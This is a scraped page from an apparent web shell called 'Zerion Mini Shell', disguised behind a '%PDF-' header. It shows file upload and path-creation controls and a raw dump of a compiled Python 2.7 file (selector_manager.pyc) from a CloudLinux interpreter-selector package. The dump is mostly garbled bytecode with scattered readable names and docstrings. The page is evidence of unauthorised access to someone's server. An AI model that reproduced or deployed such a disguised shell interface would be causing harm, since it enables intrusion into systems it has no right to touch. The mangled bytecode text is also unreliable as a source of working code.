%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/selector_manager.pyc

�
i�B^c@`s�ddlmZddlmZddlmZddlZddlmZddlmZddl	m
Z
mZdd	lm
Z
dd
lmZddlmZdeee�fd
��YZdS(i(tabsolute_import(tprint_function(tdivisionN(tABCMeta(t	iteritems(tENABLED_STATUStNOT_INSTALLED_STATUSi(tBaseSelectorConfig(tBasePkgManager(twith_metaclasstBaseSelectorManagercB`s�eZdZd�Zed��Zejd��Zed��Zd�Zd�Z	d�Z
d�Zd	�Ze
d
�ZRS(s:Responsible for actual interpreter selector high-level APIcC`s+||_||_tj�dk|_dS(sc
        :type cfg: config.BaseSelectorConfig
        :type pkg: pkgmanager.BasePkgManager
        iN(tpkgtcfgtostgeteuidtis_root_user(tselfRR((sW/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/selector_manager.pyt__init__s		cC`s
|jjS(N(Rtselector_enabled(R((sW/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/selector_manager.pyR$scC`s||j_|jj�dS(N(RRtsave(Rtval((sW/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/selector_manager.pyR(scC`s
|jj�S(N(Rtget_default_version(R((sW/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/selector_manager.pytdefault_version-scC`s!|jj|�|jj�dS(N(Rtset_default_versionR(Rtversion((sW/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/selector_manager.pytswitch_default_version1scC`s$|jj||�|jj�dS(s6Disable/Enable particular interpreter version globallyN(Rtset_version_statusR(RRtstatus((sW/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/selector_manager.pyR5scC`sEgt|jj�D]"\}}|dtkr|^q}||kS(s7Check whether particular (installed) version is enabledR(RRtavailable_versionsR(RRtktvtenabled((sW/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/selector_manager.pytis_version_enabled:scC`s|jj|�S(N(Rtinstall_version(RR((sW/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/selector_manager.pyR!@scC`s)||jj�krdS|jj|�S(Ns-It's not allowed to uninstall default version(RRRtremove_version(RR((sW/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/selector_manager.pytuninstall_versionCsc`s��jj}g}|r��jr��jj�}|rG|j|�n�jj�}|r�t|�}t|j��}d�||D�}|j|�q�n�fd�t	|�D�}i�jj
�d6|d6|dkr�dndd6�jd6S(	NcS`s'i|]}idd6td6|�qS(ttbase_dirR(R(t.0tver((sW/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/selector_manager.pys
<dictcomp>Xs	c`s+i|]!\}}|�jj|��qS((Rtget_full_version(R&RR(R(sW/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/selector_manager.pys
<dictcomp>_s	RRtupdatingtreadytcache_statusR(
RRRRtin_progresstupdatetcheckout_availabletsettkeysRRtNoneR(Rtinstalled_interpreters_onlytall_versionstavailable_to_installt
processed_nowtinstalled_and_in_progresstdiff((RsW/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/selector_manager.pytget_summaryHs*(t__name__t
__module__t__doc__RtpropertyRtsetterRRRR R!R#tFalseR8(((sW/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/selector_manager.pyR
s							(t
__future__RRRR
tabcRtfuture.utilsRtclselect.baseclselectRRtconfigRt
pkgmanagerRR	tobjectR
(((sW/opt/alt/python27/lib/python2.7/site-packages/clselect/baseclselect/selector_manager.pyt<module>s

Zerion Mini Shell 1.0